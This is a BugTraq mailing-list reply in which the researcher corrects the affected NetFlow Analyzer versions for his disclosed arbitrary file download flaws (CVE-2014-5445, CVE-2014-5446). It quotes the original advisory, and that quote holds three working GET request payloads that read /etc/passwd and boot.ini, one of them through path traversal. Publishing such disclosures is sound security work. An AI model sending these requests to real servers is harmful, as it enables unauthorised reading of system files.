BugTraq
[The ManageOwnage Series, part IX]: 0-day arbitrary file download in NetFlow Analyzer and IT360 Nov 30 2014 12:17AM
Pedro Ribeiro (pedrib gmail com) (1 replies)
Re: [The ManageOwnage Series, part IX]: 0-day arbitrary file download in NetFlow Analyzer and IT360 Dec 03 2014 09:50AM
Pedro Ribeiro (pedrib gmail com)
On 30/11/2014, Pedro Ribeiro <pedrib (at) gmail (dot) com [email concealed]> wrote:
> Hi,
>
> This is part 9 of the ManageOwnage series. For previous parts see [1].
>
>
>>> Technical details:
> Vulnerability: Arbitrary file download
> Constraints: unauthenticated in NetFlow; authenticated in IT360
> Affected versions: NetFlow v8.6 to v9.9; at least IT360 v10.3 and above
>
> CVE-2014-5445:
> GET /netflow/servlet/CSVServlet?schFilePath=/etc/passwd
> GET /netflow/servlet/CReportPDFServlet?schFilePath=C:\\boot.ini&pdf=true
>
> CVE-2014-5446
> GET /netflow/servlet/DisplayChartPDF?filename=../../../../boot.ini

A small correction: the NetFlow vulnerable versions are actually v8.6 to
v10.2 (which is the latest release). I've updated the advisory in the repo.

Regards
Pedro

[ reply ]


 

Privacy Statement
Copyright 2010, SecurityFocus